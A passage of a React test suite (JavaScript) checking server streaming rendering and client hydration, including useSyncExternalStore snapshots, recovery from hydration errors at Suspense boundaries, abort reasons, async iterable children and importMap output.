}\n      },\n    });\n\n    // The first paint switches to client rendering due to mismatch\n    await waitForPaint([\n      'client',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(getVisibleChildren(container)).toEqual(<div>client</div>);\n  });\n\n  // The selector implementation uses the lazy ref initialization pattern\n\n  it('calls getServerSnapshot instead of getSnapshot (with selector and isEqual)', async () => {\n    // Same as previous test, but with a selector that returns a complex object\n    // that is memoized with a custom `isEqual` function.\n    const ref = React.createRef();\n    function getServerSnapshot() {\n      return {env: 'server', other: 'unrelated'};\n    }\n    function getClientSnapshot() {\n      return {env: 'client', other: 'unrelated'};\n    }\n    function selector({env}) {\n      return {env};\n    }\n    function isEqual(a, b) {\n      return a.env === b.env;\n    }\n    function subscribe() {\n      return () => {};\n    }\n    function Child({text}) {\n      Scheduler.log(text);\n      return text;\n    }\n    function App() {\n      const {env} = useSyncExternalStoreWithSelector(\n        subscribe,\n        getClientSnapshot,\n        getServerSnapshot,\n        selector,\n        isEqual,\n      );\n      return (\n        <div ref={ref}>\n          <Child text={env} />\n        </div>\n      );\n    }\n    const loggedErrors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <Suspense fallback=\"Loading...\">\n          <App />\n        </Suspense>,\n        {\n          onError(x) {\n            loggedErrors.push(x);\n          },\n        },\n      );\n      pipe(writable);\n    });\n    assertLog(['server']);\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n      },\n    });\n\n    // The first paint uses the client due to mismatch forcing client render\n    // The first paint switches to client rendering due to mismatch\n    await waitForPaint([\n      'client',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(getVisibleChildren(container)).toEqual(<div>client</div>);\n  });\n\n  it(\n    'errors during hydration in the shell force a client render at the ' +\n      'root, and during the client render it recovers',\n    async () => {\n      let isClient = false;\n\n      function subscribe() {\n        return () => {};\n      }\n      function getClientSnapshot() {\n        return 'Yay!';\n      }\n\n      // At the time of writing, the only API that exposes whether it's currently\n      // hydrating is the `getServerSnapshot` API, so I'm using that here to\n      // simulate an error during hydration.\n      function getServerSnapshot() {\n        if (isClient) {\n          throw new Error('Hydration error');\n        }\n        return 'Yay!';\n      }\n\n      function Child() {\n        const value = useSyncExternalStore(\n          subscribe,\n          getClientSnapshot,\n          getServerSnapshot,\n        );\n        Scheduler.log(value);\n        return value;\n      }\n\n      const spanRef = React.createRef();\n\n      function App() {\n        return (\n          <span ref={spanRef}>\n            <Child />\n          </span>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      assertLog(['Yay!']);\n\n      const span = container.getElementsByTagName('span')[0];\n\n      // Hydrate the tree. Child will throw during hydration, but not when it\n      // falls back to client rendering.\n      isClient = true;\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n\n      // An error logged but instead of surfacing it to the UI, we switched\n      // to client rendering.\n      await waitForAll([\n        'Yay!',\n        'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering the entire root.',\n        'Cause: Hydration error',\n      ]);\n      expect(getVisibleChildren(container)).toEqual(<span>Yay!</span>);\n\n      // The node that's inside the boundary that errored during hydration was\n      // not hydrated.\n      expect(spanRef.current).not.toBe(span);\n    },\n  );\n\n  it('can hydrate uSES in StrictMode with different client and server snapshot (sync)', async () => {\n    function subscribe() {\n      return () => {};\n    }\n    function getClientSnapshot() {\n      return 'Yay!';\n    }\n    function getServerSnapshot() {\n      return 'Nay!';\n    }\n\n    function App() {\n      const value = useSyncExternalStore(\n        subscribe,\n        getClientSnapshot,\n        getServerSnapshot,\n      );\n      Scheduler.log(value);\n\n      return value;\n    }\n\n    const element = (\n      <React.StrictMode>\n        <App />\n      </React.StrictMode>\n    );\n\n    await act(async () => {\n      const {pipe} = renderToPipeableStream(element);\n      pipe(writable);\n    });\n\n    assertLog(['Nay!']);\n    expect(getVisibleChildren(container)).toEqual('Nay!');\n\n    await clientAct(() => {\n      ReactDOM.flushSync(() => {\n        ReactDOMClient.hydrateRoot(container, element);\n      });\n    });\n\n    expect(getVisibleChildren(container)).toEqual('Yay!');\n    assertLog(['Nay!', 'Yay!']);\n  });\n\n  it('can hydrate uSES in StrictMode with different client and server snapshot (concurrent)', async () => {\n    function subscribe() {\n      return () => {};\n    }\n    function getClientSnapshot() {\n      return 'Yay!';\n    }\n    function getServerSnapshot() {\n      return 'Nay!';\n    }\n\n    function App() {\n      const value = useSyncExternalStore(\n        subscribe,\n        getClientSnapshot,\n        getServerSnapshot,\n      );\n      Scheduler.log(value);\n\n      return value;\n    }\n\n    const element = (\n      <React.StrictMode>\n        <App />\n      </React.StrictMode>\n    );\n\n    await act(async () => {\n      const {pipe} = renderToPipeableStream(element);\n      pipe(writable);\n    });\n\n    assertLog(['Nay!']);\n    expect(getVisibleChildren(container)).toEqual('Nay!');\n\n    await clientAct(() => {\n      React.startTransition(() => {\n        ReactDOMClient.hydrateRoot(container, element);\n      });\n    });\n\n    expect(getVisibleChildren(container)).toEqual('Yay!');\n    assertLog(['Nay!', 'Yay!']);\n  });\n\n  it(\n    'errors during hydration force a client render at the nearest Suspense ' +\n      'boundary, and during the client render it recovers',\n    async () => {\n      let isClient = false;\n\n      function subscribe() {\n        return () => {};\n      }\n      function getClientSnapshot() {\n        return 'Yay!';\n      }\n\n      // At the time of writing, the only API that exposes whether it's currently\n      // hydrating is the `getServerSnapshot` API, so I'm using that here to\n      // simulate an error during hydration.\n      function getServerSnapshot() {\n        if (isClient) {\n          throw new Error('Hydration error');\n        }\n        return 'Yay!';\n      }\n\n      function Child() {\n        const value = useSyncExternalStore(\n          subscribe,\n          getClientSnapshot,\n          getServerSnapshot,\n        );\n        Scheduler.log(value);\n        return value;\n      }\n\n      const span1Ref = React.createRef();\n      const span2Ref = React.createRef();\n      const span3Ref = React.createRef();\n\n      function App() {\n        return (\n          <div>\n            <span ref={span1Ref} />\n            <Suspense fallback=\"Loading...\">\n              <span ref={span2Ref}>\n                <Child />\n              </span>\n            </Suspense>\n            <span ref={span3Ref} />\n          </div>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      assertLog(['Yay!']);\n\n      const [span1, span2, span3] = container.getElementsByTagName('span');\n\n      // Hydrate the tree. Child will throw during hydration, but not when it\n      // falls back to client rendering.\n      isClient = true;\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n\n      // An error logged but instead of surfacing it to the UI, we switched\n      // to client rendering.\n      await waitForAll([\n        'Yay!',\n        'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',\n        'Cause: Hydration error',\n      ]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <span />\n          <span>Yay!</span>\n          <span />\n        </div>,\n      );\n\n      // The node that's inside the boundary that errored during hydration was\n      // not hydrated.\n      expect(span2Ref.current).not.toBe(span2);\n\n      // But the nodes outside the boundary were.\n      expect(span1Ref.current).toBe(span1);\n      expect(span3Ref.current).toBe(span3);\n    },\n  );\n\n  it(\n    'errors during hydration force a client render at the nearest Suspense ' +\n      'boundary, and during the client render it fails again',\n    async () => {\n      // Similar to previous test, but the client render errors, too. We should\n      // be able to capture it with an error boundary.\n\n      let isClient = false;\n\n      class ErrorBoundary extends React.Component {\n        state = {error: null};\n        static getDerivedStateFromError(error) {\n          return {error};\n        }\n        render() {\n          if (this.state.error !== null) {\n            return this.state.error.message;\n          }\n          return this.props.children;\n        }\n      }\n\n      function Child() {\n        if (isClient) {\n          throw new Error('Oops!');\n        }\n        Scheduler.log('Yay!');\n        return 'Yay!';\n      }\n\n      const span1Ref = React.createRef();\n      const span2Ref = React.createRef();\n      const span3Ref = React.createRef();\n\n      function App() {\n        return (\n          <ErrorBoundary>\n            <span ref={span1Ref} />\n            <Suspense fallback=\"Loading...\">\n              <span ref={span2Ref}>\n                <Child />\n              </span>\n            </Suspense>\n            <span ref={span3Ref} />\n          </ErrorBoundary>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      assertLog(['Yay!']);\n\n      // Hydrate the tree. Child will throw during render.\n      isClient = true;\n      const errors = [];\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          errors.push(error.message);\n        },\n      });\n\n      // Because we failed to recover from the error, onRecoverableError\n      // shouldn't be called.\n      await waitForAll([]);\n      expect(getVisibleChildren(container)).toEqual('Oops!');\n\n      expectErrors(errors, [], []);\n    },\n  );\n\n  // Disabled because of a WWW late mutations regression.\n  // We may want to re-enable this if we figure out why.\n\n  // @gate FIXME\n  it('does not recreate the fallback if server errors and hydration suspends', async () => {\n    let isClient = false;\n\n    function Child() {\n      if (isClient) {\n        readText('Yay!');\n      } else {\n        throw Error('Oops.');\n      }\n      Scheduler.log('Yay!');\n      return 'Yay!';\n    }\n\n    const fallbackRef = React.createRef();\n    function App() {\n      return (\n        <div>\n          <Suspense fallback={<p ref={fallbackRef}>Loading...</p>}>\n            <span>\n              <Child />\n            </span>\n          </Suspense>\n        </div>\n      );\n    }\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onError(error) {\n          Scheduler.log('[s!] ' + error.message);\n        },\n      });\n      pipe(writable);\n    });\n    assertLog(['[s!] Oops.']);\n\n    // The server could not complete this boundary, so we'll retry on the client.\n    const serverFallback = container.getElementsByTagName('p')[0];\n    expect(serverFallback.innerHTML).toBe('Loading...');\n\n    // Hydrate the tree. This will suspend.\n    isClient = true;\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + error.message);\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    // This should not report any errors yet.\n    await waitForAll([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>Loading...</p>\n      </div>,\n    );\n\n    // Normally, hydrating after server error would force a clean client render.\n    // However, it suspended so at best we'd only get the same fallback anyway.\n    // We don't want to recreate the same fallback in the DOM again because\n    // that's extra work and would restart animations etc. Check we don't do that.\n    const clientFallback = container.getElementsByTagName('p')[0];\n    expect(serverFallback).toBe(clientFallback);\n\n    // When we're able to fully hydrate, we expect a clean client render.\n    await act(() => {\n      resolveText('Yay!');\n    });\n    await waitForAll([\n      'Yay!',\n      'onRecoverableError: The server could not finish this Suspense boundary, ' +\n        'likely due to an error during server rendering. ' +\n        'Switched to client rendering.',\n    ]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Yay!</span>\n      </div>,\n    );\n  });\n\n  // Disabled because of a WWW late mutations regression.\n  // We may want to re-enable this if we figure out why.\n\n  // @gate FIXME\n  it(\n    'does not recreate the fallback if server errors and hydration suspends ' +\n      'and root receives a transition',\n    async () => {\n      let isClient = false;\n\n      function Child({color}) {\n        if (isClient) {\n          readText('Yay!');\n        } else {\n          throw Error('Oops.');\n        }\n        Scheduler.log('Yay! (' + color + ')');\n        return 'Yay! (' + color + ')';\n      }\n\n      const fallbackRef = React.createRef();\n      function App({color}) {\n        return (\n          <div>\n            <Suspense fallback={<p ref={fallbackRef}>Loading...</p>}>\n              <span>\n                <Child color={color} />\n              </span>\n            </Suspense>\n          </div>\n        );\n      }\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App color=\"red\" />, {\n          onError(error) {\n            Scheduler.log('[s!] ' + error.message);\n          },\n        });\n        pipe(writable);\n      });\n      assertLog(['[s!] Oops.']);\n\n      // The server could not complete this boundary, so we'll retry on the client.\n      const serverFallback = container.getElementsByTagName('p')[0];\n      expect(serverFallback.innerHTML).toBe('Loading...');\n\n      // Hydrate the tree. This will suspend.\n      isClient = true;\n      const root = ReactDOMClient.hydrateRoot(container, <App color=\"red\" />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + error.message);\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n      // This should not report any errors yet.\n      await waitForAll([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <p>Loading...</p>\n        </div>,\n      );\n\n      // Normally, hydrating after server error would force a clean client render.\n      // However, it suspended so at best we'd only get the same fallback anyway.\n      // We don't want to recreate the same fallback in the DOM again because\n      // that's extra work and would restart animations etc. Check we don't do that.\n      const clientFallback = container.getElementsByTagName('p')[0];\n      expect(serverFallback).toBe(clientFallback);\n\n      // Transition updates shouldn't recreate the fallback either.\n      React.startTransition(() => {\n        root.render(<App color=\"blue\" />);\n      });\n      await waitForAll([]);\n      jest.runAllTimers();\n      const clientFallback2 = container.getElementsByTagName('p')[0];\n      expect(clientFallback2).toBe(serverFallback);\n\n      // When we're able to fully hydrate, we expect a clean client render.\n      await act(() => {\n        resolveText('Yay!');\n      });\n      await waitForAll([\n        'Yay! (red)',\n        'onRecoverableError: The server could not finish this Suspense boundary, ' +\n          'likely due to an error during server rendering. ' +\n          'Switched to client rendering.',\n        'Yay! (blue)',\n      ]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <span>Yay! (blue)</span>\n        </div>,\n      );\n    },\n  );\n\n  // Disabled because of a WWW late mutations regression.\n  // We may want to re-enable this if we figure out why.\n\n  // @gate FIXME\n  it(\n    'recreates the fallback if server errors and hydration suspends but ' +\n      'client receives new props',\n    async () => {\n      let isClient = false;\n\n      function Child() {\n        const value = 'Yay!';\n        if (isClient) {\n          readText(value);\n        } else {\n          throw Error('Oops.');\n        }\n        Scheduler.log(value);\n        return value;\n      }\n\n      const fallbackRef = React.createRef();\n      function App({fallbackText}) {\n        return (\n          <div>\n            <Suspense fallback={<p ref={fallbackRef}>{fallbackText}</p>}>\n              <span>\n                <Child />\n              </span>\n            </Suspense>\n          </div>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(\n          <App fallbackText=\"Loading...\" />,\n          {\n            onError(error) {\n              Scheduler.log('[s!] ' + error.message);\n            },\n          },\n        );\n        pipe(writable);\n      });\n      assertLog(['[s!] Oops.']);\n\n      const serverFallback = container.getElementsByTagName('p')[0];\n      expect(serverFallback.innerHTML).toBe('Loading...');\n\n      // Hydrate the tree. This will suspend.\n      isClient = true;\n      const root = ReactDOMClient.hydrateRoot(\n        container,\n        <App fallbackText=\"Loading...\" />,\n        {\n          onRecoverableError(error) {\n            Scheduler.log('onRecoverableError: ' + error.message);\n            if (error.cause) {\n              Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n            }\n          },\n        },\n      );\n      // This should not report any errors yet.\n      await waitForAll([]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <p>Loading...</p>\n        </div>,\n      );\n\n      // Normally, hydration after server error would force a clean client render.\n      // However, that suspended so at best we'd only get a fallback anyway.\n      // We don't want to replace a fallback with the same fallback because\n      // that's extra work and would restart animations etc. Verify we don't do that.\n      const clientFallback1 = container.getElementsByTagName('p')[0];\n      expect(serverFallback).toBe(clientFallback1);\n\n      // However, an update may have changed the fallback props. In that case we have to\n      // actually force it to re-render on the client and throw away the server one.\n      root.render(<App fallbackText=\"More loading...\" />);\n      await waitForAll([]);\n      jest.runAllTimers();\n      assertLog([\n        'onRecoverableError: The server could not finish this Suspense boundary, ' +\n          'likely due to an error during server rendering. ' +\n          'Switched to client rendering.',\n      ]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <p>More loading...</p>\n        </div>,\n      );\n      // This should be a clean render without reusing DOM.\n      const clientFallback2 = container.getElementsByTagName('p')[0];\n      expect(clientFallback2).not.toBe(clientFallback1);\n\n      // Verify we can still do a clean content render after.\n      await act(() => {\n        resolveText('Yay!');\n      });\n      await waitForAll(['Yay!']);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <span>Yay!</span>\n        </div>,\n      );\n    },\n  );\n\n  it(\n    'errors during hydration force a client render at the nearest Suspense ' +\n      'boundary, and during the client render it recovers, then a deeper ' +\n      'child suspends',\n    async () => {\n      let isClient = false;\n\n      function subscribe() {\n        return () => {};\n      }\n      function getClientSnapshot() {\n        return 'Yay!';\n      }\n\n      // At the time of writing, the only API that exposes whether it's currently\n      // hydrating is the `getServerSnapshot` API, so I'm using that here to\n      // simulate an error during hydration.\n      function getServerSnapshot() {\n        if (isClient) {\n          throw new Error('Hydration error');\n        }\n        return 'Yay!';\n      }\n\n      function Child() {\n        const value = useSyncExternalStore(\n          subscribe,\n          getClientSnapshot,\n          getServerSnapshot,\n        );\n        if (isClient) {\n          readText(value);\n        }\n        Scheduler.log(value);\n        return value;\n      }\n\n      const span1Ref = React.createRef();\n      const span2Ref = React.createRef();\n      const span3Ref = React.createRef();\n\n      function App() {\n        return (\n          <div>\n            <span ref={span1Ref} />\n            <Suspense fallback=\"Loading...\">\n              <span ref={span2Ref}>\n                <Child />\n              </span>\n            </Suspense>\n            <span ref={span3Ref} />\n          </div>\n        );\n      }\n\n      await act(() => {\n        const {pipe} = renderToPipeableStream(<App />);\n        pipe(writable);\n      });\n      assertLog(['Yay!']);\n\n      const [span1, span2, span3] = container.getElementsByTagName('span');\n\n      // Hydrate the tree. Child will throw during hydration, but not when it\n      // falls back to client rendering.\n      isClient = true;\n      ReactDOMClient.hydrateRoot(container, <App />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n\n      // An error logged but instead of surfacing it to the UI, we switched\n      // to client rendering.\n      await waitForAll([\n        'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',\n        'Cause: Hydration error',\n      ]);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <span />\n          Loading...\n          <span />\n        </div>,\n      );\n\n      await clientAct(() => {\n        resolveText('Yay!');\n      });\n      assertLog(['Yay!']);\n      expect(getVisibleChildren(container)).toEqual(\n        <div>\n          <span />\n          <span>Yay!</span>\n          <span />\n        </div>,\n      );\n\n      // The node that's inside the boundary that errored during hydration was\n      // not hydrated.\n      expect(span2Ref.current).not.toBe(span2);\n\n      // But the nodes outside the boundary were.\n      expect(span1Ref.current).toBe(span1);\n      expect(span3Ref.current).toBe(span3);\n    },\n  );\n\n  it('logs regular (non-hydration) errors when the UI recovers', async () => {\n    let shouldThrow = true;\n\n    function A({unused}) {\n      if (shouldThrow) {\n        Scheduler.log('Oops!');\n        throw new Error('Oops!');\n      }\n      Scheduler.log('A');\n      return 'A';\n    }\n\n    function B() {\n      Scheduler.log('B');\n      return 'B';\n    }\n\n    function App() {\n      return (\n        <>\n          <A />\n          <B />\n        </>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    React.startTransition(() => {\n      root.render(<App />);\n    });\n\n    // Partially render A, but yield before the render has finished\n    await waitFor(['Oops!']);\n\n    // React will try rendering again synchronously. During the retry, A will\n    // not throw. This simulates a concurrent data race that is fixed by\n    // blocking the main thread.\n    shouldThrow = false;\n    await waitForAll([\n      // Render again, synchronously\n      'A',\n      'B',\n\n      // Log the error\n      'onRecoverableError: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.',\n      'Cause: Oops!',\n    ]);\n\n    // UI looks normal\n    expect(container.textContent).toEqual('AB');\n  });\n\n  it('logs multiple hydration errors in the same render', async () => {\n    let isClient = false;\n\n    function subscribe() {\n      return () => {};\n    }\n    function getClientSnapshot() {\n      return 'Yay!';\n    }\n    function getServerSnapshot() {\n      if (isClient) {\n        throw new Error('Hydration error');\n      }\n      return 'Yay!';\n    }\n\n    function Child({label}) {\n      // This will throw during client hydration. Only reason to use\n      // useSyncExternalStore in this test is because getServerSnapshot has the\n      // ability to observe whether we're hydrating.\n      useSyncExternalStore(subscribe, getClientSnapshot, getServerSnapshot);\n      Scheduler.log(label);\n      return label;\n    }\n\n    function App() {\n      return (\n        <>\n          <Suspense fallback=\"Loading...\">\n            <Child label=\"A\" />\n          </Suspense>\n          <Suspense fallback=\"Loading...\">\n            <Child label=\"B\" />\n          </Suspense>\n        </>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n    assertLog(['A', 'B']);\n\n    // Hydrate the tree. Child will throw during hydration, but not when it\n    // falls back to client rendering.\n    isClient = true;\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n\n    await waitForAll([\n      'A',\n      'B',\n\n      'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',\n      'Cause: Hydration error',\n\n      'onRecoverableError: There was an error while hydrating but React was able to recover by instead client rendering from the nearest Suspense boundary.',\n      'Cause: Hydration error',\n    ]);\n  });\n\n  it('supports iterable', async () => {\n    const Immutable = require('immutable');\n\n    const mappedJSX = Immutable.fromJS([\n      {name: 'a', value: 'a'},\n      {name: 'b', value: 'b'},\n    ]).map(item => <li key={item.get('value')}>{item.get('name')}</li>);\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<ul>{mappedJSX}</ul>);\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(\n      <ul>\n        <li>a</li>\n        <li>b</li>\n      </ul>,\n    );\n  });\n\n  // @gate enableAsyncIterableChildren\n  it('supports async generator component', async () => {\n    async function* App() {\n      yield <span key=\"1\">{await Promise.resolve('Hi')}</span>;\n      yield ' ';\n      yield <span key=\"2\">{await Promise.resolve('World')}</span>;\n    }\n\n    await act(async () => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <App />\n        </div>,\n      );\n      pipe(writable);\n    });\n\n    // Each act retries once which causes a new ping which schedules\n    // new work but only after the act has finished rendering.\n    await act(() => {});\n    await act(() => {});\n    await act(() => {});\n    await act(() => {});\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Hi</span> <span>World</span>\n      </div>,\n    );\n  });\n\n  // @gate enableAsyncIterableChildren\n  it('supports async iterable children', async () => {\n    const iterable = {\n      async *[Symbol.asyncIterator]() {\n        yield <span key=\"1\">{await Promise.resolve('Hi')}</span>;\n        yield ' ';\n        yield <span key=\"2\">{await Promise.resolve('World')}</span>;\n      },\n    };\n\n    function App({children}) {\n      return <div>{children}</div>;\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App>{iterable}</App>);\n      pipe(writable);\n    });\n\n    // Each act retries once which causes a new ping which schedules\n    // new work but only after the act has finished rendering.\n    await act(() => {});\n    await act(() => {});\n    await act(() => {});\n    await act(() => {});\n\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <span>Hi</span> <span>World</span>\n      </div>,\n    );\n  });\n\n  it('supports bigint', async () => {\n    await act(async () => {\n      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(\n        <div>{10n}</div>,\n      );\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(<div>10</div>);\n  });\n\n  it('Supports custom abort reasons with a string', async () => {\n    function App() {\n      return (\n        <div>\n          <p>\n            <Suspense fallback={'p'}>\n              <AsyncText text={'hello'} />\n            </Suspense>\n          </p>\n          <span>\n            <Suspense fallback={'span'}>\n              <AsyncText text={'world'} />\n            </Suspense>\n          </span>\n        </div>\n      );\n    }\n\n    let abort;\n    const loggedErrors = [];\n    await act(() => {\n      const {pipe, abort: abortImpl} = renderToPipeableStream(<App />, {\n        onError(error) {\n          // In this test we contrive erroring with strings so we push the error whereas in most\n          // other tests we contrive erroring with Errors and push the message.\n          loggedErrors.push(error);\n          return 'a digest';\n        },\n      });\n      abort = abortImpl;\n      pipe(writable);\n    });\n\n    expect(loggedErrors).toEqual([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>p</p>\n        <span>span</span>\n      </div>,\n    );\n\n    await act(() => {\n      abort('foobar');\n    });\n\n    expect(loggedErrors).toEqual(['foobar', 'foobar']);\n\n    const errors = [];\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error, errorInfo) {\n        errors.push({error, errorInfo});\n      },\n    });\n\n    await waitForAll([]);\n\n    expectErrors(\n      errors,\n      [\n        [\n          'Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n            'foobar',\n          'a digest',\n          componentStack(['AsyncText', 'Suspense', 'p', 'div', 'App']),\n        ],\n        [\n          'Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n            'foobar',\n          'a digest',\n          componentStack(['AsyncText', 'Suspense', 'span', 'div', 'App']),\n        ],\n      ],\n      [\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          'a digest',\n        ],\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          'a digest',\n        ],\n      ],\n    );\n  });\n\n  it('Supports custom abort reasons with an Error', async () => {\n    function App() {\n      return (\n        <div>\n          <p>\n            <Suspense fallback={'p'}>\n              <AsyncText text={'hello'} />\n            </Suspense>\n          </p>\n          <span>\n            <Suspense fallback={'span'}>\n              <AsyncText text={'world'} />\n            </Suspense>\n          </span>\n        </div>\n      );\n    }\n\n    let abort;\n    const loggedErrors = [];\n    await act(() => {\n      const {pipe, abort: abortImpl} = renderToPipeableStream(<App />, {\n        onError(error) {\n          loggedErrors.push(error.message);\n          return 'a digest';\n        },\n      });\n      abort = abortImpl;\n      pipe(writable);\n    });\n\n    expect(loggedErrors).toEqual([]);\n    expect(getVisibleChildren(container)).toEqual(\n      <div>\n        <p>p</p>\n        <span>span</span>\n      </div>,\n    );\n\n    await act(() => {\n      abort(new Error('uh oh'));\n    });\n\n    expect(loggedErrors).toEqual(['uh oh', 'uh oh']);\n\n    const errors = [];\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error, errorInfo) {\n        errors.push({error, errorInfo});\n      },\n    });\n\n    await waitForAll([]);\n\n    expectErrors(\n      errors,\n      [\n        [\n          'Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n            'uh oh',\n          'a digest',\n          componentStack(['AsyncText', 'Suspense', 'p', 'div', 'App']),\n        ],\n        [\n          'Switched to client rendering because the server rendering aborted due to:\\n\\n' +\n            'uh oh',\n          'a digest',\n          componentStack(['AsyncText', 'Suspense', 'span', 'div', 'App']),\n        ],\n      ],\n      [\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          'a digest',\n        ],\n        [\n          'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          'a digest',\n        ],\n      ],\n    );\n  });\n\n  it('warns in dev if you access digest from errorInfo in onRecoverableError', async () => {\n    await act(() => {\n      const {pipe} = renderToPipeableStream(\n        <div>\n          <Suspense fallback={'loading...'}>\n            <AsyncText text={'hello'} />\n          </Suspense>\n        </div>,\n        {\n          onError(error) {\n            return 'a digest';\n          },\n        },\n      );\n      rejectText('hello');\n      pipe(writable);\n    });\n    expect(getVisibleChildren(container)).toEqual(<div>loading...</div>);\n\n    ReactDOMClient.hydrateRoot(\n      container,\n      <div>\n        <Suspense fallback={'loading...'}>hello</Suspense>\n      </div>,\n      {\n        onRecoverableError(error, errorInfo) {\n          expect(error.digest).toBe('a digest');\n          expect(errorInfo.digest).toBe(undefined);\n          assertConsoleErrorDev([\n            'You are accessing \"digest\" from the errorInfo object passed to onRecoverableError.' +\n              ' This property is no longer provided as part of errorInfo but can be accessed as a property' +\n              ' of the Error instance itself.',\n          ]);\n        },\n      },\n    );\n    await waitForAll([]);\n  });\n\n  it('takes an importMap option which emits an \"importmap\" script in the head', async () => {\n    const importMap = {\n      foo: './path/to/foo.js',\n    };\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <head>\n            <script async={true} src=\"foo\" />\n          </head>\n          <body>\n            <div>hello world</div>\n          </body>\n        </html>,\n        {\n          importMap,\n        },\n      ).pipe(writable);\n    });\n\n    expect(document.head.innerHTML).toBe(\n      '<script type=\"importmap\">' +\n        JSON.stringify(importMap) +\n        '</script><script async=\"\" src=\"foo\"></script>' +\n        (gate(flags => flags.shouldUseFizzExternalRuntime)\n          ? '<script src=\"react-dom-bindings/src/server/ReactDOMServerExternalRuntime.js\" async=\"\"></script>'\n          : '') +\n        (gate(flags => flags.enableFizzBlockingRender)\n          ? '<link rel=\"expect\" href=\"#_R_\" blocking=\"render\">'\n          : ''),\n    );\n  });\n\n  // bugfix: https://github.com/facebook/react/issues/27286\n  it('can render custom elements with children on ther server', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <my-element>\n              <div>foo</div>\n            </my-element>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <my-element>\n            <div>foo</div>\n          </my-element>\n        </body>\n      </html>,\n    );\n  });\n\n  // https://github.com/facebook/react/issues/27540\n  // This test is not actually asserting much because there is 